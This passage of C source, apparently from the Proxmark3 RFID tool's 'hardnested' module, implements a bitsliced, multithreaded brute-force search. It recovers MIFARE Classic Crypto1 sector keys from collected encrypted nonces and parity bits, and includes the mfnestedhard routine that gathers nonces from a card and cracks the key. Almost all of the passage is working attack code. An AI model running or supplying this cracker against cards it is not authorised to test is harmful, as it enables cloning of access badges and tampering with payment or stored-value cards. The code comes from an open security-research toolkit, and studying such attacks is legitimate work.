1424 uint8_t bSize = sizeof(bitslice_t);
1425
1426 #ifdef EXACT_COUNT
1427 size_t bucket_states_tested = 0;
1428 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1429 #else
1430 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1431 #endif
1432
1433 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1434 size_t bitsliced_blocks = 0;
1435 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1436
1437 // bitslice all the even states
1438 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1439
1440 #ifdef __WIN32
1441 #ifdef __MINGW32__
1442 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1443 #else
1444 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1445 #endif
1446 #else
1447 #ifdef __APPLE__
1448 bitslice_t * restrict lstate_p = malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize);
1449 #else
1450 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1451 #endif
1452 #endif
1453
1454 if ( !lstate_p ) {
1455 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1456 return key;
1457 }
1458
1459 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1460
1461 // bitslice even half-states
1462 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1463 #ifdef EXACT_COUNT
1464 bucket_size[bitsliced_blocks] = max_slices;
1465 #endif
1466 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1467 uint32_t e = *(p_even+slice_idx);
1468 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1469 // set even bits
1470 if(e&1){
1471 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1472 }
1473 }
1474 }
1475 // compute the rollback bits
1476 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1477 // inlined crypto1_bs_lfsr_rollback
1478 const bitslice_value_t feedout = lstate_p[0].value;
1479 ++lstate_p;
1480 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1481 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1482 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1483 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1484 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1485 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1486 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1487 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1488 }
1489 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1490 }
1491
1492 // bitslice every odd state to every block of even half-states with half-finished rollback
1493 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1494 // early abort
1495 if(keys_found){
1496 goto out;
1497 }
1498
1499 // set the odd bits and compute rollback
1500 uint64_t o = (uint64_t) *p_odd;
1501 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1502 // pre-compute part of the odd feedback bits (minus rollback)
1503 bool odd_feedback_bit = parity(o&0x9ce5c);
1504
1505 crypto1_bs_rewind_a0();
1506 // set odd bits
1507 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1508 if(o & 1){
1509 state_p[state_idx] = bs_ones;
1510 } else {
1511 state_p[state_idx] = bs_zeroes;
1512 }
1513 }
1514 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1515
1516 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1517 const bitslice_t * const restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1518 size_t state_idx;
1519 // set even bits
1520 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1521 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1522 }
1523 // set rollback bits
1524 uint64_t lo = o;
1525 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1526 // set the odd bits and take in the odd rollback bits from the even states
1527 if(lo & 1){
1528 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1529 } else {
1530 state_p[state_idx] = bitsliced_even_state[state_idx];
1531 }
1532
1533 // set the even bits and take in the even rollback bits from the odd states
1534 if((lo >> 32) & 1){
1535 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1536 } else {
1537 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1538 }
1539 }
1540
1541 #ifdef EXACT_COUNT
1542 bucket_states_tested += bucket_size[block_idx];
1543 #endif
1544 // pre-compute first keystream and feedback bit vectors
1545 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1546 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1547 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1548 state_p[47-24].value ^ state_p[47-42].value);
1549
1550 // vector to contain test results (1 = passed, 0 = failed)
1551 bitslice_t results = bs_ones;
1552
1553 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1554 size_t parity_bit_idx = 0;
1555 bitslice_value_t fb_bits = fbb;
1556 bitslice_value_t ks_bits = ksb;
1557 state_p = &states[KEYSTREAM_SIZE-1];
1558 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1559
1560 // highest bit is transmitted/received first
1561 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1562 // decrypt nonce bits
1563 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1564 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1565
1566 // compute real parity bits on the fly
1567 parity_bit_vector ^= decrypted_nonce_bit_vector;
1568
1569 // update state
1570 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1571
1572 // compute next keystream bit
1573 ks_bits = crypto1_bs_f20(state_p);
1574
1575 // for each byte:
1576 if((ks_idx&7) == 0){
1577 // get encrypted parity bits
1578 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1579
1580 // decrypt parity bits
1581 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1582
1583 // compare actual parity bits with decrypted parity bits and take count in results vector
1584 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1585
1586 // make sure we still have a match in our set
1587 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1588
1589 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1590 // the short-circuiting also helps
1591 if(results.bytes64[0] == 0
1592 #if MAX_BITSLICES > 64
1593 && results.bytes64[1] == 0
1594 #endif
1595 #if MAX_BITSLICES > 128
1596 && results.bytes64[2] == 0
1597 && results.bytes64[3] == 0
1598 #endif
1599 ){
1600 goto stop_tests;
1601 }
1602 // this is about as fast but less portable (requires -std=gnu99)
1603 // asm goto ("ptest %1, %0\n\t"
1604 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1605 parity_bit_vector = bs_zeroes.value;
1606 }
1607 // compute next feedback bit vector
1608 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1609 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1610 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1611 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1612 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1613 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1614 }
1615 }
1616 // all nonce tests were successful: we've found the key in this block!
1617 state_t keys[MAX_BITSLICES];
1618 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1619 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1620 if(get_vector_bit(results_idx, results)){
1621 key = keys[results_idx].value;
1622 goto out;
1623 }
1624 }
1625 stop_tests:
1626 // prepare to set new states
1627 crypto1_bs_rewind_a0();
1628 continue;
1629 }
1630 }
1631
1632 out:
1633 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1634
1635 #ifdef __WIN32
1636 #ifdef __MINGW32__
1637 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1638 #else
1639 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1640 #endif
1641 #else
1642 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1643 #endif
1644
1645 }
1646 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1647 return key;
1648 }
1649
1650 static void* check_thread()
1651 {
1652 num_good_first_bytes = estimate_second_byte_sum();
1653
1654 clock_t time1 = clock();
1655 bool cracking = generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1656 time1 = clock() - time1;
1657 if (time1 > 0) PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1658
1659 if (cracking || known_target_key != -1) {
1660 field_off = brute_force(); // switch off field with next SendCommand and then finish
1661 }
1662
1663 thread_check_done = true;
1664
1665 return (void *) NULL;
1666 }
1667
1668 static void* crack_states_thread(void* x){
1669 const size_t thread_id = (size_t)x;
1670 size_t current_bucket = thread_id;
1671 while(current_bucket < bucket_count){
1672 statelist_t * bucket = buckets[current_bucket];
1673 if(bucket){
1674 const uint64_t key = crack_states_bitsliced(bucket);
1675 if(key != -1){
1676 __sync_fetch_and_add(&keys_found, 1);
1677 __sync_fetch_and_add(&foundkey, key);
1678 break;
1679 } else if(keys_found){
1680 break;
1681 } else {
1682 printf(".");
1683 fflush(stdout);
1684 }
1685 }
1686 current_bucket += thread_count;
1687 }
1688 return NULL;
1689 }
1690
1691 static bool brute_force(void)
1692 {
1693 bool ret = false;
1694 if (known_target_key != -1) {
1695 PrintAndLog("Looking for known target key in remaining key space...");
1696 ret = TestIfKeyExists(known_target_key);
1697 } else {
1698 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1699
1700 PrintAndLog("Brute force phase starting.");
1701 time_t start, end;
1702 time(&start);
1703 keys_found = 0;
1704 foundkey = 0;
1705
1706 crypto1_bs_init();
1707
1708 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1709 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02X ...", best_first_bytes[0]^(cuid>>24));
1710 // convert to 32 bit little-endian
1711 crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
1712
1713 PrintAndLog("Bitslicing nonces...");
1714 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1715 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1716 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1717 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1718 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1719 // convert to 32 bit little-endian
1720 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1721 }
1722 total_states_tested = 0;
1723
1724 // count number of states to go
1725 bucket_count = 0;
1726 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1727 buckets[bucket_count] = p;
1728 bucket_count++;
1729 }
1730
1731 #ifndef __WIN32
1732 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1733 if ( thread_count < 1)
1734 thread_count = 1;
1735 #endif /* _WIN32 */
1736
1737 pthread_t threads[thread_count];
1738
1739 // enumerate states using all hardware threads, each thread handles one bucket
1740 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu64" states...", thread_count, bucket_count, maximum_states);
1741
1742 for(size_t i = 0; i < thread_count; i++){
1743 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1744 }
1745 for(size_t i = 0; i < thread_count; i++){
1746 pthread_join(threads[i], 0);
1747 }
1748
1749 time(&end);
1750 unsigned long elapsed_time = difftime(end, start);
1751
1752 if (keys_found && TestIfKeyExists(foundkey)) {
1753 PrintAndLog("Success! Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1754 PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
1755 ret = true;
1756 } else {
1757 PrintAndLog("Fail! Tested %"PRIu32" states, in %u seconds", total_states_tested, elapsed_time);
1758 }
1759
1760 // reset this counter for the next call
1761 nonces_to_bruteforce = 0;
1762 }
1763
1764 return ret;
1765 }
1766
1767 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1768 {
1769 // initialize Random number generator
1770 time_t t;
1771 srand((unsigned) time(&t));
1772
1773 if (trgkey != NULL) {
1774 known_target_key = bytes_to_num(trgkey, 6);
1775 } else {
1776 known_target_key = -1;
1777 }
1778
1779 init_partial_statelists();
1780 init_BitFlip_statelist();
1781 write_stats = false;
1782
1783 if (tests) {
1784 // set the correct locale for the stats printing
1785 setlocale(LC_ALL, "");
1786 write_stats = true;
1787 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1788 PrintAndLog("Could not create/open file hardnested_stats.txt");
1789 return 3;
1790 }
1791 for (uint32_t i = 0; i < tests; i++) {
1792 init_nonce_memory();
1793 simulate_acquire_nonces();
1794 Tests();
1795 printf("Sum(a0) = %d\n", first_byte_Sum);
1796 fprintf(fstats, "%d;", first_byte_Sum);
1797 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1798 brute_force();
1799 free_nonces_memory();
1800 free_statelist_cache();
1801 free_candidates_memory(candidates);
1802 candidates = NULL;
1803 }
1804 fclose(fstats);
1805 fstats = NULL;
1806 } else {
1807 init_nonce_memory();
1808 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1809 if (read_nonce_file() != 0) {
1810 return 3;
1811 }
1812 Check_for_FilterFlipProperties();
1813 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1814 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1815
1816 clock_t time1 = clock();
1817 bool cracking = generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1818 time1 = clock() - time1;
1819 if (time1 > 0)
1820 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1821
1822 if (cracking)
1823 brute_force();
1824 } else { // acquire nonces.
1825 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1826 if (is_OK != 0) {
1827 return is_OK;
1828 }
1829 }
1830
1831 //Tests();
1832
1833 //PrintAndLog("");
1834 //PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1835 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1836 // best_first_bytes[0],
1837 // best_first_bytes[1],
1838 // best_first_bytes[2],
1839 // best_first_bytes[3],
1840 // best_first_bytes[4],
1841 // best_first_bytes[5],
1842 // best_first_bytes[6],
1843 // best_first_bytes[7],
1844 // best_first_bytes[8],
1845 // best_first_bytes[9] );
1846
1847 free_nonces_memory();
1848 free_statelist_cache();
1849 free_candidates_memory(candidates);
1850 candidates = NULL;
1851 }
1852 return 0;
1853 }
1854
1855
Proxmark3 GIT tracking
Impressum, Datenschutz